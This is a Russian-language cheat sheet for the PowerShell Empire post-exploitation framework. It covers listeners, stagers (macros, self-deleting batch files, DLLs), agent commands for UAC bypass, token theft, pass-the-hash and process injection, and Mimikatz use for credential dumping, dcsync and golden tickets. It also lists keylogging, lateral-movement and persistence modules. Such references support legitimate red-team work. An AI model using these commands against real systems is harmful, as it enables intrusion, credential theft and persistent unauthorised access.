Шпаргалка по Empire

Начало работы

- Скачать Empire: `# git clone https://github.com/PowerShellEmpire/Empire` (или скачайте последнюю версию с https://github.com/PowerShellEmpire/Empire/releases).
- Запуск установки: `# ./setup/install.sh`
- Сброс установки: `# ./setup/reset.sh`
- Запуск Empire [в режиме отладки]: `# ./empire [--debug]`
- Документация: http://www.PowerShellEmpire.com
- Возврат в главное меню Empire осуществляется с помощью команды `main`, выход – с помощью команды `exit` (либо нажатием комбинации Ctrl+C). Возврат в предыдущее меню – команда `back`.
- Для получения информации по списку команд и их расшифровке, введите команду `help`.
- Чтобы получить список всех агентов и прослушивателей, используйте [`agents`/`listeners`] из любого меню.
- Для ручного редактирования back-end базы данных, используйте команду `# sqlitebrowser ./data/empire.db`

В Empire реализован мощный UI с функционалом авто-завершения.

Логгирование и загрузки

- Если прописан параметр `-debug`, информация сохраняется в файл **./empire.debug**.
- Каждый отмечающийся агент имеет полные журналы **tasking/results**, расположенные в файле **./downloads/AGENTNAME/agent.log**.
- Вывод модулей downloads/other сохраняется в каталоге **./downloads/AGENTNAME/***.

(Empire: listeners) >

Перейти в меню прослушивателей можно из любого меню с помощью команды `listeners`. После выполнения этой команды, будет отображён список активных прослушивателей (также

его можно получить командой `list`). Прослушиватели хранятся в базе **./data./empire.db** и активируются при запуске Empire.

- Просмотр текущей конфигурации прослушивателя: `info`/`options`
- Установка параметра: `set OPTION VALUE`
- Отмена параметра: `unset OPTION`
- Использование определённого **stager** для выбранного прослушивателя: `usestager [tab] STAGERNAME LISTENER`
- Создание однострочной программы запуска: `launcher LISTENER`
- Запуск прослушивателя с текущими настройками: `execute`
- Выключение одного или всех прослушивателей: `kill [tab] NAME/all`

`KillDate`	Дата прекращения работы прослушивателя (MM/dd/yyyy)
`Name`	Псевдоним для прослушивателя
`DefaultLostLimit`	Количество пропущенных отметок, допустимых до прекращения работы
`Type`	Тип прослушивателя (native, pivot, hop, foreign, meter)
`DefaultDelay`	Интервалы задержки и возврата агента к работе (в секундах)
`WorkingHours`	Часы активности агента (09:00-17:00)
`Host`	http[s]://HOSTNAME:PORT для staging (также принимает IP как значение)
`CertPath`	Путь к сертификатам .pem для HTTPS
`DefaultJitter`	Джиттер для интервала возврата к агенту (0.0-1.0).

(Empire: stager/stager name) >

В Empire реализован модульный подход к созданию stager'ов (способ, которым вы получаете возможность выполнить код на удалённом устройстве). Доступ к этому функционалу можно получить из меню **main** или **listeners** с помощью команды `usemodule [tab] STAGER [LISTENER_NAME]`.

Как мы уже выяснили, команды `info`/`options` отображают текущие настройки, а команды `set`/`unset` в данном случае работают точно так же, как и в случае с меню **listener**. Команда `Generate` сгенерирует текущий стейджер и настройки.

`launcher`	Однострочная программа запуска
`launcher_bat`	Самоуничтожающийся .bat-файл
`macro`	Офисный макрос
`dll`	Отражённая DLL

(Empire: agents) >

Перейти в меню агентов можно из любого меню с помощью команды **agents**. Таким образом, будут отображены активные агенты и конфигурация, а также некоторая базовая информация о конфигурации системы.

Перечисление активных (или устаревших) агентов	`list [stale]`
Взаимодействие с агентом	`interact ID`
Очистка одного (или всех) заданий агента	`clear [tab] ID/all`
Деактивация одного (или всех) агентов	`kill [tab] ID/all`
Удаление одного, всех или устаревших агентов из базы данных	`remove [tab] ID/all/stale`
Переименование агента	`rename ID NewName`
Установка времени работы для одного (или всех) агентов	`workinghours [tab] ID/all 9:00-17:00`

(Empire: AGENTID) >

Это – основное интерактивное меню агента Empire. Различные псевдонимы оболочки встроены в это меню: `ls`, `mv`, `cp`, `rm`, `cd`, `ipconfig`, `getpid`, `route`, `whoami`, `restart`, `shutdown`.

Внимание: *любая введённая команда, которая не относится к любому псевдониму/агенту, будет выполнена в PowerShell как нативная! Будьте внимательны!*

Отображение информации агента	`info`
Очистка заданий агента	`clear`
Выполнение команды (Power)shell	`shell CMD`
Перечисление имён процессов, соответствующих шаблону	`ps explorer`
Скачивание целевого файла	`download ./PATH/file`
Выгрузка файла в указанный путь	`upload ./attacker/path/file.txt`
Выдача агенту задания выхода	`exit`
Отображение задач заднего плана	`jobs`
Прекращение выполнения задачи заднего плана	`jobs kill JOB_ID`
Прекращение выполнения процесса	`kill PID`
Получение/установка даты прекращения работы агента	`killdate [01/01/2016]`
Rename agent	`rename NEWNAME`

Перевод агента в спящий режим на X секунд с джиттером 0.Y	`sleep X [0.Y]`
Создание нового агента Empire	`spawn LISTENER`
Выполнение `bypassuac`	`bypassuac LISTENER`
Запуск Mimikatz' `sekurlsa::logonpasswords`	`mimikatz`
Кража токена процесса	`steal_token PID`
Инжектирование хэша из базы данных учётных данных	`pth CRED_ID`
Импорт .ps1 в памятьу	`scriptimport ./path.ps1`
Запуск импортированного .ps1 cmd	`scriptcmd [tab] Invoke-Function`
Инжектирование агента Empire в другой PID	`psinject [tab] LISTENER PID`

(Empire: type/module_name) >

- Чтобы использовать модуль из главного меню или меню агентов, введите команду `usemodule [tab] type/module.`
- Для поиска описаний или имён модулей, используйте команду `searchmodule TERM`.

Каждый модуль имеет набор обязательных [и необязательных] настроек. При выполнении модуля, вы можете столкнуться с тем, что он помечен как требующий административных привилегий или является потенциально опасным для OpSec. В этом случае, Empire либо выведет предупреждение, либо запросит подтверждение.

Текущие параметры модуля можно просмотреть с помощью `info`/`options`, а также настроить параметры с помощью `set`/`unset options`, как и в меню прослушивателей.

Для того, чтобы модуль запускался в качестве первой задачи после запуска агента, используйте команду `set Agent autorun`**.** Чтобы очистить очередь автозапуска задач, используйте команду `clear autorun` в меню агента.

Mimikatz и Cred Store

Empire автоматически воспримет учётные данные, полученные с помощью Mimikatz и сохранит их в бэкэнд-модели учётных данных. Чтобы получить к ним доступ, используйте в любом меню команду `creds`; использовать эти данные может любой модуль, который принимает **CredID** в качестве аргумента.

Перечисление всех учётных данных	`(no argument)`
Перечисление только хэшей	`hash`
Перечисление только текста	`plaintext`
Перечисление только krbtgt	`krbtgt`
Добавление учётных данных	`add domain username password`

Удаление учётных данных	`remove CRED_ID/CRED1-CRED2/all`
Экспорт текущих учётных данных	`export ./path/creds.csv`
Поиск по учётным данным	`*user*`

Различный функционал Mimikatz реализован в **credentials/mimikatz/***:

`logonpasswords`	Выполнение всех текущих модулей учётных данных Mimikatz в памяти
`lsadump`	Выгрузка локальных хэшей из LSA (полезно на DC ;)
`pth`	Инжектирование хэша в память с помощью sekurlsa (принимает CRED_ID)
`dcsync`	Извлечение хэшей DC без выполнения кода DC
`golden_ticket`	Билд/инжектирование «золотого тикета» (принимает krbtgt CRED_ID)
`purge`	Очистка всех тикетов Kerberos из памяти
`command`	Пользовательская команда Mimi

Полезные модули

В Empire есть боле ста модулей чистого PowerShell, выполняемых после применения эксплойта. Ниже приведена краткая информация по некоторым модулям; каждый из них в значительной степени основывается на существующей технологии PowerShell. Авторы этих модулей указаны в разделе «Authors» каждого модуля.

`collection/keylogger`	Журнал кейлоггера
`collection/get_indexed_it em`	Запрос индексатора поиска Windows на поиск файлов с определёнными терминами
`collection/inveigh`	Базовая подмена LLMNR/NBNS
`collection/screenshot`	Создание скриншотов
`lateral_movement/invoke_wmi`	Запуск нового агента на устройстве с WMI
`lateral_movement/invoke_psexec`	Принятие имени прослушивателя и создание нового агента с помощью PSEXEC
`management/psinject`	Инжектирование агента Empire в другой процесс
`management/enable_rdp`	Активация RDP-доступа
`management/wdigest_downgrade`	Загрузка системы для использования Wdigest и экрана блокировки
`persistence/userland/*`	Различные параметры сохранения состояния пользователя
`persistence/elevated/*`	Различные параметры сохранения повышенных состояний (включая WMI)

`persistence/misc/*`	Различные параметры сохранения состояния (скелетный ключ, параметры отладчика, memssp и так далее)
`privesc/powerup/*`	Векторы проверок/атак PowerView privesc
`situational_awareness/network/powerview/*`	Различный функционал сети/доменов PowerView
`situational_awareness/host/*`	Модули перечисления хостов
`recon/*`	Сетевые модули разведки локальной сети

Дополнительная информация

http://www.verisgroup.com/adaptive-threat-division/

Документация: http://www.PowerShellEmpire.com/

Интеграция MSF: http://www.PowerShellEmpire.com/?page_id=133

Процесс работы сеанса: http://www.PowerShellEmpire.com/?page_id=145